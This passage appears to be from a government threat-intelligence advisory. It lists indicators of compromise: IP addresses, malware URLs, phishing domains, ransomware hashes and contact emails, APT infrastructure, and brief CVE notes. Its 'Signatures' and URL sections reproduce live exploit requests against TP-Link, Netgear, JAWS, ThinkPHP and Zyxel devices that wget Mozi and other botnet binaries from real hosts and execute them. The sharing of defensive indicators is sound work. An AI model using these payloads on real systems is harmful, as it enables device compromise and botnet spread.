45.15.158.37

223.74.150.79

211.137.88.183

117.198.15.160

117.219.42.18

223.8.2.157

42.106.160.7

115.23.81.120

103.200.86.43

120.85.113.172

47.107.57.163

175.107.3.107

5.59.248.127

59.183.47.234

37.120.147.203

42.232.243.83

175.107.3.196

103.197.115.76

45.115.88.133

117.222.197.178

27.43.206.213

123.221.68.100

190.203.237.30

42.58.161.202

117.242.235.193

153.228.237.162

153.228.219.25

42.232.241.36

154.213.186.147

23.111.255.243

161.35.246.138

180.76.54.75

120.85.187.239

93.177.72.105

176.113.73.247

36.2.79.29

115.50.219.188

157.173.104.92

203.92.60.196

45.230.66.39

211.137.88.184

61.3.220.179

59.88.151.35

103.97.2.174

59.95.88.4

23.172.112.233

117.208.87.200

103.97.2.176

117.201.233.238

101.44.83.53

117.242.235.38

59.178.155.217

86.128.197.103

59.98.138.77

102.33.107.186

59.97.114.124

117.198.15.81

116.58.165.29

120.85.116.204

117.219.137.121

74.80.181.142

111.97.202.165

117.254.33.245

27.43.206.30

103.208.230.211

103.197.115.28

104.255.169.119

120.86.237.126

146.112.163.35

117.209.241.97

142.91.43.10

115.56.151.93

103.197.115.36

180.94.33.107

27.43.207.151

49.44.86.102

103.14.226.142

87.101.93.246

103.97.2.175

125.44.192.107

117.235.252.141

117.220.62.242

173.208.45.23

117.217.47.182

103.180.149.156

108.62.132.114

195.18.18.155

175.30.81.7

117.219.83.76

82.197.71.235

59.97.42.116

93.123.85.105

103.208.233.109

102.33.46.182

117.212.59.171

205.198.121.67

103.56.230.73

115.201.152.149

27.157.133.235

5.59.249.3

59.95.91.224

31.220.1.144

203.196.42.28

59.95.129.240

120.239.15.69

112.94.96.198

120.61.90.235

50.3.182.152

5.59.249.236

202.70.95.243

59.184.248.7

103.199.180.119

209.141.61.4

27.43.206.204

89.150.35.56

220.198.241.222

117.255.182.214

122.194.9.140

59.96.105.25

42.232.247.197

106.248.39.107

38.202.2.40

185.224.128.67

27.43.207.103

107.167.63.2

114.166.101.76

42.239.75.24

120.61.73.162

198.12.64.46

62.234.191.154

37.120.150.177

139.180.129.189

117.72.68.88

38.206.3.6

117.209.86.104

162.248.101.128

46.20.41.241

103.208.233.160

103.200.84.126

5.199.128.98

103.199.180.238

125.47.75.83

**URLs:-**

http://27.202.13.138:55319/Mozi.m

http://45.15.158.37/

http://103.197.115.76:38865/Mozi.m

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3e%60cd+/tmp;+rm+-rf+sshdbot;+wget+http://50.3.182.152/shk+-O+sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot%60)

http://124.247.204.80/cgi-bin

http://218.75.31.130/

http://117.235.151.193:59591/Mozi.m

http://117.254.33.245:41782/Mozi.a

http://154.216.19.99/

http://117.235.106.148:45629/Mozi.a

http://58.47.121.85:44916/Mozi.m

http://59.178.155.217:44770/Mozi.m

http://120.57.218.232:54403/Mozi.m

http://117.209.86.104:37902/Mozi.m

http://123.10.131.7:35547/Mozi.m

http://117.219.42.18:56876/Mozi.m

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3E`cd+/tmp;+rm+-rf+sshdbot;+wget+http://50.3.182.152/shk+-O+sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot`

http://106.248.39.107/rondo.x86

http://222.133.67.10:48716/Mozi.m

http://220.158.158.72:37954/Mozi.m

http://59.97.42.116:37695/Mozi.m

http://1.70.96.187:47542/Mozi.m

http://175.107.3.107:46875/Mozi.m

http://117.255.182.214:48583/Mozi.m

http://59.95.87.41:40392/Mozi.a

http://180.94.33.107:51328/Mozi.m

http://27.215.51.171:38703/Mozi.m

http://117.198.14.211:34599/Mozi.m

http://5.59.248.127/bins/x86

http://117.213.123.106:49881/Mozi.m

http://222.140.238.211:58552/Mozi.m

http://42.232.247.197:57263/Mozi.m

http://60.23.236.216:46647/Mozi.m

http://42.239.75.24:41469/Mozi.m

http://117.251.87.80/shell?cd

http://117.198.15.160:47256/Mozi.m

http://119.117.41.195:52373/Mozi.m

http://117.235.252.141:59776/Mozi.a

http://42.234.129.69:53141/Mozi.m

http://117.253.59.118:50837/Mozi.m

http://123.11.170.241:33411/Mozi.m

http://223.12.205.128:57669/Mozi.m

http://182.116.12.87:49601/Mozi.m

http://5.59.249.236/bins/x86

http://222.137.101.103:52517/Mozi.m

http://103.197.115.220:37612/Mozi.m

http://103.197.115.201:56801/Mozi.m

http://115.201.152.149:49953/Mozi.a

http://IPHERE/bins/x86

http://59.97.114.124:40507/Mozi.m

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;operation=write&amp;amp;amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget

http://59.95.129.240:41876/Mozi.m

http://59.183.47.234:52137/Mozi.m

http://117.195.81.102:59493/Mozi.m

http://103.208.233.109:60100/Mozi.m

http://103.238.235.110/bins/x86

http://102.33.65.160:50781/Mozi.m

http://117.242.235.38:33771/Mozi.m

http://115.48.145.191:35855/Mozi.m

http://116.2.135.171:52612/Mozi.m

http://115.50.219.188:41616/Mozi.m

http://190.203.237.30:44626/Mozi.m

http://103.199.180.119:42969/Mozi.a

http://220.158.159.64:46968/Mozi.m

http://117.216.24.20:51144/Mozi.m

http://117.217.47.182:47733/Mozi.m

http://103.197.115.36:35096/Mozi.m

http://223.74.150.79:53625/Mozi.m

http://175.107.0.102:52231/Mozi.m

http://175.107.0.28:44977/Mozi.m

http://59.88.151.35:44927/Mozi.m

http://117.209.116.234:59021/Mozi.m

http://102.33.41.117:53811/Mozi.m

http://117.217.163.217:38589/Mozi.m

http://117.251.87.80/shell?cd+/tmp;rm+-rf+\*;wget+http://117.222.197.178:49978/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

http://115.55.130.238:51373/Mozi.m

http://117.201.233.238:41105/Mozi.m

http://45.66.231.148/2Fr/3B

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3e%60cd+/tmp;+rm+-rf+sshdbot;+wget+http://50.3.182.152/shk+-O+sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot%60

http://120.61.90.235:45251/Mozi.m

http://117.196.118.207:53097/Mozi.m

http://59.88.9.4:52633/Mozi.m

http://120.61.30.138:37602/Mozi.a

http://23.228.72.18/Flink

http://59.95.88.4:60926/Mozi.m

http://87.120.166.40/bins/x86

http://154.216.19.99/Ft/sh

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)

http://59.95.91.224:48469/Mozi.m

http://117.219.83.76:50409/Mozi.m

http://117.219.137.121:52141/Mozi.m

http://45.66.231.148/Fr

http://117.201.10.96:56307/Mozi.m

http://59.96.105.25:47463/Mozi.a

http://117.198.15.81:50473/Mozi.m

http://59.182.126.102:48584/Mozi.m

http://125.44.192.107:47122/Mozi.m

http://120.61.73.162:45553/Mozi.m

http://103.200.84.126:45678/Mozi.a

http://59.98.138.77:48909/Mozi.m

http://42.58.161.202:50057/Mozi.m

http://117.252.196.90:52350/Mozi.m

http://103.200.87.124:45328/Mozi.m

http://102.33.94.177:52013/Mozi.m

http://115.56.151.93:50844/Mozi.m

http://149.255.15.236:43052/Mozi.m

http://103.180.149.156/huhu.mips

http://175.107.3.196:44747/Mozi.m

http://117.251.87.80/cgi-bin

http://123.129.135.119:56541/Mozi.m

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3e%60cd+/tmp;+rm+-rf+sshdbot;+wget+http://50.3.182.152/shk+-O+sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot%60)

http://117.212.59.171:46638/Mozi.a

http://103.15.254.145:60290/Mozi.m

http://117.235.72.173:41336/Mozi.a

http://125.47.75.83:49117/Mozi.m

http://117.209.241.97:58286/Mozi.m

http://117.195.50.211:48404/Mozi.m

http://103.200.86.43:41314/Mozi.m

http://176.97.210.238/shk

http://103.110.33.164/mips

http://117.222.119.12:49509/Mozi.m

http://117.251.169.129:44515/Mozi.a

http://175.164.182.105:38183/Mozi.m

http://117.251.87.28/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60wget+-O-+http%3A%2F%2F23.228.72.18%2Flink%7Csh%3B%60)

http://117.222.197.178:49978/Mozi.a

http://117.207.184.142:45278/Mozi.m

http://222.245.2.32:60557/Mozi.m

http://59.184.242.114:35423/Mozi.m

http://59.184.248.7:46486/Mozi.m

http://5.59.249.210/bins/x86

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;operation=write&amp;amp;amp;country=$(id%3E`cd+/tmp;+rm+-rf+sshdbot;+wget+http://bins.rootwho.su/sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot`

http://5.59.249.3/bins/x86

http://117.242.235.193:52203/Mozi.m

http://59.89.65.51:55240/Mozi.m

http://117.251.87.28/cgi-bin

http://59.97.118.106:43106/Mozi.m

http://117.254.101.6:35486/Mozi.m

http://102.33.107.186:46210/Mozi.m

http://bins.rootwho.su/sshdbot

http://154.216.17.31/

http://103.203.72.182:48537/Mozi.m

http://23.228.72.18/

http://175.30.81.7:44960/Mozi.a

http://117.198.8.32:48885/Mozi.m

http://50.3.182.152

http://45.66.231.148/

http://113.236.91.14:46443/Mozi.m

http://103.208.230.120:49141/Mozi.m

http://5.59.249.18/bins/x86

http://50.3.182.152/shk

http://182.182.107.1:42406/Mozi.m

http://103.208.230.211:55681/Mozi.m

http://180.94.34.191:45502/Mozi.m

http://102.33.46.182:52076/Mozi.m

http://103.14.226.142/shk

http://61.0.185.246:48146/Mozi.m

http://117.206.19.196:37426/Mozi.m

http://117.208.87.200:35103/Mozi.m

http://61.3.220.179:54682/Mozi.m

http://117.242.119.239:46925/Mozi.m

http://223.8.2.157:57241/Mozi.m

http://42.226.69.206:33775/Mozi.m

**Signatures:**

/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;operation=write&amp;amp;amp;country=$(id%3E`cd+/tmp;+rm+-rf+sshdbot;+wget+http://bins.rootwho.su/sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot`

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.201.10.96:56307/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3e%60cd+/tmp;+rm+-rf+sshdbot;+wget+http://50.3.182.152/shk+-O+sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot%60)

/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3e%60cd+/tmp;+rm+-rf+sshdbot;+wget+http://50.3.182.152/shk+-O+sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot%60)

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://102.33.94.177:52013/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/shell?cd+/tmp;rm+-rf+\*;wget+http://117.222.197.178:49978/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://59.97.118.106:43106/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;operation=write&amp;amp;amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://120.61.90.235:45251/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://175.164.182.105:38183/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://103.197.115.76:38865/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.99%2Ft%7Csh%3B%60)

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wget http://5.59.249.236/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wget http://87.120.166.40/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://123.11.170.241:33411/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

http://117.251.87.28/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60wget+-O-+http%3A%2F%2F23.228.72.18%2Flink%7Csh%3B%60)

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://27.202.13.138:55319/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://59.88.9.4:52633/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3E`cd+/tmp;+rm+-rf+sshdbot;+wget+http://50.3.182.152/shk+-O+sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot`

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://27.215.51.171:38703/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}\*;${IFS}wget${IFS}http://103.110.33.164/mips;${IFS}chmod${IFS}777${IFS}mips;${IFS}./mips${IFS}zyxel.selfrep;

http://117.251.87.80/shell?cd+/tmp;rm+-rf+\*;wget+http://117.222.197.178:49978/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://59.97.114.124:40507/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.242.235.193:52203/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.196.118.207:53097/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/public/index.php?s=/../%5Cthink%5Capp/invokefunction&function=call\_user\_func\_array&vars[0]=system&vars[1][]=cmd.exe+%2Fc+certutil+-urlcache+-split+-f+http%3A%2F%2F218.75.31.130%3A19490%2Fspread.txt+C%3A%5CProgramData%5Cspread.exe+%26%26+C%3A%5CProgramData

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3e%60cd+/tmp;+rm+-rf+sshdbot;+wget+http://50.3.182.152/shk+-O+sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot%60

/shell?cd+/tmp;rm+-rf+\*;wget+http://103.199.180.119:42969/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://222.245.2.32:60557/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://119.117.41.195:52373/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wget http://103.238.235.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp

/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}\*mips\*;${IFS}wget${IFS}http://103.180.149.156/huhu.mips;${IFS}chmod${IFS}777${IFS}huhu.mips;${IFS}./huhu.mips${IFS}zyxel.selfrep;

/shell?cd+/tmp;rm+-rf+\*;wget+http://175.30.81.7:44960/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-10-10-006**

APT SideCopy is known for deploying malware to target individuals and organizations. It aims to steal sensitive information and conduct espionage. This group is particularly notable for its spear-phishing campaigns and the deployment of custom malware to compromise target systems.

**Common Features of Mythic Malware:**

* Spear-Phishing (highly targeted and convincing phishing emails to trick victims)
* Information Theft (documents, credentials, and personal data)
* Remote Access
* Credential Harvesting
* Data Exfiltration
* Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domain:**

amazonindia-in.hopto.org

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-10-10-005**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

email-g0v.online

em.ail-gov.ink

\*.ail-gov.ink

\*.email-g0v.online

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-10-11-008**

**Microsoft Released October 2024 Security Updates**

Microsoft has released security updates to address critical, high, and medium vulnerabilities in its products. An attacker can exploit some of these vulnerabilities to take control of an affected system.

CVE ID: CVE-2024-43468 (Critical), CVE-2024-38124 (Critical)

**Vulnerability in DrayTek**

A heap based buffer overflow vulnerability has been discovered in DrayTek Vigor310 devices. The affected versions are DrayTek Vigor310 devices through 4.3.2.6.

CVE ID: CVE-2024-41593 (Critical)

**Vulnerability in AutoGPT**

An OS command injection vulnerability has been discovered in AutoGPT. The affected versions are AutoGPT v0.5.0 up to but not including 5.1.0.

CVE ID: CVE-2024-1881 (Critical)

**Vulnerability in Zimbra Collaboration**

A vulnerability has been discovered in postjournal service of Zimbra Collaboration that allows unauthenticated users to execute commands. The affected versions are Zimbra Collaboration (ZCS) before 8.8.15 Patch 46, 9 before 9.0.0 Patch 41, 10 before 10.0.9 and 10.1 before 10.1.1.

CVE ID: CVE-2024-45519 (Critical)

**Mozilla Released Security Updates**

Mozilla has released security updates to address multiple vulnerabilities in Firefox 131.0.2, Firefox ESR 115.16.1 and Firefox ESR 128.3.1. An attacker can exploit these vulnerabilities to take control of an affected system.

CVE ID: CVE-2024-9680 (Critical)

**Adobe Security Updates**

Adobe has released security updates to address multiple vulnerabilities in Adobe software products. An attacker can exploit these vulnerabilities to take control of an affected system.

CVE ID: CVE-2024-45115 (Critical)

1. **TA-PHI-2024-10-11-006**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

sebigovin.sebi-gov.io

sebi-gov.io

\*.sebi-gov.io

adhar.auths.info

adhar-ucl.auths.info

cpanel.adhar.auths.info

cpanel.adhar-ucl.auths.info

new.auths.info

cpcalendars.adhar.auths.info

cpcalendars.adhar-ucl.auths.info

cpcalendars.new.auths.info

cpcontacts.auths.info

cpcontacts.adhar.auths.info

cpcontacts.adhar-ucl.auths.info

cpcontacts.new.auths.info

crsorgi.gov.in.web.index.php.auths.info

dc.crsorgi.gov.in.auths.info

webdisk.adhar-ucl.auths.info

webdisk.new.auths.info

webmail.adhar.auths.info

webmail.adhar-ucl.auths.info

webmail.new.auths.info

whm.auths.info

whm.adhar.auths.info

whm.adhar-ucl.auths.info

whm.new.auths.info

www.auths.info

www.adhar.auths.info

www.adhar-ucl.auths.info

www.crsorgi.gov.in.web.index.php.auths.info

www.dc.crsorgi.gov.in.auths.info

www.new.auths.info

mail-desk.in

minfinfgov.info

\*.auths.info

\*.mail-desk.in

\*.minfinfgov.info

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-10-11-003**

It has been observed that the threat actor's new ransomware campaign is deploying RCRU64 ransomware by getting initial access through Remote Desktop Protocol (RDP) on a public-facing server that lacks Multi-Factor Authentication (MFA). Once inside, the attackers extracted credentials and encrypted files using a mix of open-source and custom tools, including fgdump, pwdump, Mimikatz, Advanced Port Scanner, and IObit Unlocker. Adversary also left a ransom note instructing victims to reach out via email or Telegram.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

185.147.34.53:3586

190.93.96.6

190.93.96.29

190.93.96.30

187.116.73.31

HASHES:

910dddb239ca9c7e153948ac3b076b088388de967ac55b2eb24a9a368a65bcbe

152c9b5e3265c889e66b77ae4f28578764ad886b9251620f1ddb9a74baa2c6a3

3fd192c206cac90463b7d363f42ef6b018f78a891d6a1e721e511d99f5bf3474

f14288bb71c91e7668b8d90200ed26f447d2037551e2467750ef1b9bd5861c4d

f80e1fd9f825c4c6939026a729cc411a1c71a48b9b9db9dbcef6d692a33e5c52

d0c1662ce239e4d288048c0e3324ec52962f6ddda77da0cb7af9c1d9c2f1e2eb

a6cad2d0f8dc05246846d2a9618fc93b7d97681331d5826f8353e7c3a3206e86

5fe00ded2d8fd701b7591f16248249d31e44f9adbda9f750d61fb5a0c3208f16

dc10d206da45be84f7101ae3053651d30859ec6636d81f000932fa215cc44d08

fcc7210cb356c413d47a60136e078528b2a6fe174755bf1c20aa87184e13dd09

eaa9dc1c9dc8620549fee54d81399488292349d2c8767b58b7d0396564fb43e7

3b3a3fe2eb5ef289fb58eee0f18b7240c375bc0d7af6ade747cfc865fa050d94

d31d8ff5a63702f23f068acf4b2d421396ca04a1c38375759ea45814054c3702

cbc19cb2308cf0aea7e99ba1fb5ed6f6dc46087aa011764ba65bdb1d96116ca2

ed7aabbbb1a98a769c2fa98fcface15667f31c17c7628dd781a4c812562ca7b2

0ebf9d3800f5ca5ba4792c1f7df8f06dbbf49fe698e873f161fa8b21e6307207

c5b30127f55ab4ff701b5772f3c668b98cdf6f7c426e65cc800e57c908b7f2cf

9368d4db4f743d3a97f8893c28e1157ed8ba82eb8d798b945de0f70c741d94f3

10eff0aa2b81ddcad196a560d843725452d344826185f2c4dd32c39fef0b142d

3f9d0c297e903a2200b78f8a87904934e1e1f0cd5fbef2194b0b6435361ed2ef

35f92e7543dfb8f05f512958c804787fa72ec23987c323b087bb38f53848bbcc

5c428f3ab071e48f70bf4e7ef1d8c377fd954c92dcac08f37eb9a42ce499442d

6612cf82da05701ed9262f598724a9435b015890a79aa0e928c53e4e6702bf08

67f0f6bfd582388917adcbfb294901f37e3979455880065220dcda03c7dd8f1a

6a180ebb123cc8970249ff9cc4496cd811b4d5d6a7356709c65cac188e3f742b

a2bb1178b6d17512f2606ad01cdc245ea52e91d17f6740d7dfdbef3a76e19c77

c3d7188add8892823fa6169f4ba3523b43e4cba6c9fff6931b3c482d077137c9

e928295cc90b8a0aac825a86f21e99b92f1c8665085c6e4cc3fc88cc63958e68

fe0383f9fa9df8b28729104c896eebc79dad0e9fc6f68612868385467e18fbc8

579d655b75afd6bf62b6740169eaef1238af4d2d47458ea3b3da36f3784a14a7

8f7192dee21820e55e051de6046b5dbce24819a95defe818d858e9cd3d242a17

4d3f38f349153ff936290ec069673026961973c49d883fc1186a925698d6a99a

Email addresses:

Evo.team1992@gmail.com

Backshow@my.com

Captiial@gmail.com

Exploit2@cock.li

Anabellabackup@protonmail.com

decrypt\_.files@mailfence.com

Leoxrinse234@mailfence.com

Backonline@cock.li

Insomnia1441@gmail.com

Decvvv110@gmail.com

Wanhedaa@zohomail.eu

Dontcrylol@mailfence.com

Silolopi736@gmail.com

Kilook200@gmail.com

Dr.file2022@gmail.com

Pm24@tuta.io

Unknownsupport@mailfence.com

Redem.mikhail17662@gmail.com

Ez.microbe@zohomail.eu

Help.File@zohomail.eu

Qetsiyah@zohomail.com

Sc.computer1992@Gmail.com

Ross.dec1966@gmail.com

MrLetMeOpen@tutamail.com

HellCity@Tuta.io

Cryhelp45@gmail.com

Rdpdik6@gmail.com

Vansu@mailfence.com

Yuzuke@Tuta.io

Dec.717team@gmail.com

Lohikol22@gmail.com

Xinof2@skiff.com

Unlockingrdp3@gmail.com

Letmekey.me@gmail.com

Ransomwarebit@gmail.com

Jounypaulo@mail.ee

Helpadmin@mail.ee

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-10-15-009**

Presence of malicious IoCs are found in Indian Cyberspace related to various malwares & threat actors i.e. POISONPLUG, TURIAN malware and State-sponsored threat actors.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Malware POISONPLUG IPs:**

45.76.217.11

70.34.212.229

158.247.199.185

**State-sponsored threat actor's IPs:**

45.77.8.57

38.54.110.69

89.38.128.94

45.76.213.172

38.60.214.106

**Malware TURIAN IPs:**

139.84.130.166

64.227.184.126

207.148.113.177

64.176.46.232

139.84.137.4

139.84.131.75

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-10-15-010**

Presence of malicious IoCs are found in Indian Cyberspace related to Android RAT,Spy malware involve in cyber espionage activities.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:-**

167.86.98.190

194.195.87.110

134.255.183.33

